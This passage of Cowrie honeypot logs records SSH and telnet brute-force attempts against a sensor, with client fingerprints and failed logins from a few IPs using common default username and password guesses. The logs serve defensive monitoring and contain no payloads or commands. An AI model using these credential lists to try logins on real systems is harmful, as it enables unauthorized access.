,"hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:18.492005Z","src_ip":"45.156.87.253","session":"492964b87360","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:18.736115Z","src_ip":"45.156.87.253","session":"492964b87360","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:19.944301Z","src_ip":"45.156.87.253","session":"492964b87360","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44698,"dst_ip":"10.17.0.5","dst_port":22,"session":"75d1b8a95795","protocol":"ssh","message":"New connection: 45.156.87.253:44698 (10.17.0.5:22) [session: 75d1b8a95795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:21.730652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:21.734503Z","src_ip":"45.156.87.253","session":"75d1b8a95795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:21.815007Z","src_ip":"45.156.87.253","session":"75d1b8a95795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:22.058576Z","src_ip":"45.156.87.253","session":"75d1b8a95795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:23.147346Z","src_ip":"45.156.87.253","session":"75d1b8a95795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44714,"dst_ip":"10.17.0.5","dst_port":22,"session":"c01736876929","protocol":"ssh","message":"New connection: 45.156.87.253:44714 (10.17.0.5:22) [session: c01736876929]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:25.188286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:25.192091Z","src_ip":"45.156.87.253","session":"c01736876929","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:25.272330Z","src_ip":"45.156.87.253","session":"c01736876929","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"12345678","message":"login attempt [test/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:25.513956Z","src_ip":"45.156.87.253","session":"c01736876929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:26.597112Z","src_ip":"45.156.87.253","session":"c01736876929","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.62.181.92","src_port":39290,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b6b862aa99d","protocol":"telnet","message":"New connection: 50.62.181.92:39290 (10.17.0.5:23) [session: 8b6b862aa99d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:27.507496Z"}
{"eventid":"cowrie.session.closed","duration":33.81572484970093,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:27.706533Z","src_ip":"14.47.200.242","session":"93c094f5e62d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.47.200.242","src_port":39400,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce54b0971baf","protocol":"telnet","message":"New connection: 14.47.200.242:39400 (159.203.135.109:23) [session: ce54b0971baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:27.908360Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":44730,"dst_ip":"10.17.0.5","dst_port":22,"session":"f36fb9fa36a5","protocol":"ssh","message":"New connection: 45.156.87.253:44730 (10.17.0.5:22) [session: f36fb9fa36a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:28.608678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:28.615349Z","src_ip":"45.156.87.253","session":"f36fb9fa36a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:28.696223Z","src_ip":"45.156.87.253","session":"f36fb9fa36a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ZmqVfoSIP","message":"login attempt [admin/ZmqVfoSIP] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:28.795303Z","src_ip":"14.47.200.242","session":"ce54b0971baf","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"passwd","message":"login attempt [gitlab-runner/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:28.944435Z","src_ip":"45.156.87.253","session":"f36fb9fa36a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lghkel\t","password":"zpz}ld\t","message":"login attempt [lghkel\t/zpz}ld\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:29.727677Z","src_ip":"14.47.200.242","session":"ce54b0971baf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:30.053157Z","src_ip":"45.156.87.253","session":"f36fb9fa36a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zalee\t","password":"za\t","message":"login attempt [zalee\t/za\t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:30.663480Z","src_ip":"14.47.200.242","session":"ce54b0971baf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57538,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffcac0a3bdb6","protocol":"ssh","message":"New connection: 45.156.87.253:57538 (10.17.0.5:22) [session: ffcac0a3bdb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:31.958272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:31.961615Z","src_ip":"45.156.87.253","session":"ffcac0a3bdb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:32.043664Z","src_ip":"45.156.87.253","session":"ffcac0a3bdb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"12345678","message":"login attempt [deployer/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:32.488786Z","src_ip":"45.156.87.253","session":"ffcac0a3bdb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:33.573088Z","src_ip":"45.156.87.253","session":"ffcac0a3bdb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.167.226.244","src_port":36208,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8bf2f984400","protocol":"telnet","message":"New connection: 72.167.226.244:36208 (10.17.0.5:23) [session: e8bf2f984400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:34.721313Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57554,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccfd4dd67772","protocol":"ssh","message":"New connection: 45.156.87.253:57554 (10.17.0.5:22) [session: ccfd4dd67772]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:35.460710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:35.464206Z","src_ip":"45.156.87.253","session":"ccfd4dd67772","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:35.545117Z","src_ip":"45.156.87.253","session":"ccfd4dd67772","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tactical","password":"tactical","message":"login attempt [tactical/tactical] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:35.787162Z","src_ip":"45.156.87.253","session":"ccfd4dd67772","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:36.870372Z","src_ip":"45.156.87.253","session":"ccfd4dd67772","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57572,"dst_ip":"10.17.0.5","dst_port":22,"session":"906e27cd8397","protocol":"ssh","message":"New connection: 45.156.87.253:57572 (10.17.0.5:22) [session: 906e27cd8397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:38.755751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:38.762471Z","src_ip":"45.156.87.253","session":"906e27cd8397","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:38.844027Z","src_ip":"45.156.87.253","session":"906e27cd8397","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:39.090204Z","src_ip":"45.156.87.253","session":"906e27cd8397","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:40.174624Z","src_ip":"45.156.87.253","session":"906e27cd8397","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45980,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c9a6bc4634e","protocol":"ssh","message":"New connection: 45.156.87.253:45980 (10.17.0.5:22) [session: 0c9a6bc4634e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:42.243043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:42.246558Z","src_ip":"45.156.87.253","session":"0c9a6bc4634e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:42.326818Z","src_ip":"45.156.87.253","session":"0c9a6bc4634e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:42.569673Z","src_ip":"45.156.87.253","session":"0c9a6bc4634e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:43.653397Z","src_ip":"45.156.87.253","session":"0c9a6bc4634e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":45994,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b26569f099b","protocol":"ssh","message":"New connection: 45.156.87.253:45994 (10.17.0.5:22) [session: 5b26569f099b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:45.619439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:09:45.624501Z","src_ip":"45.156.87.253","session":"5b26569f099b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@opens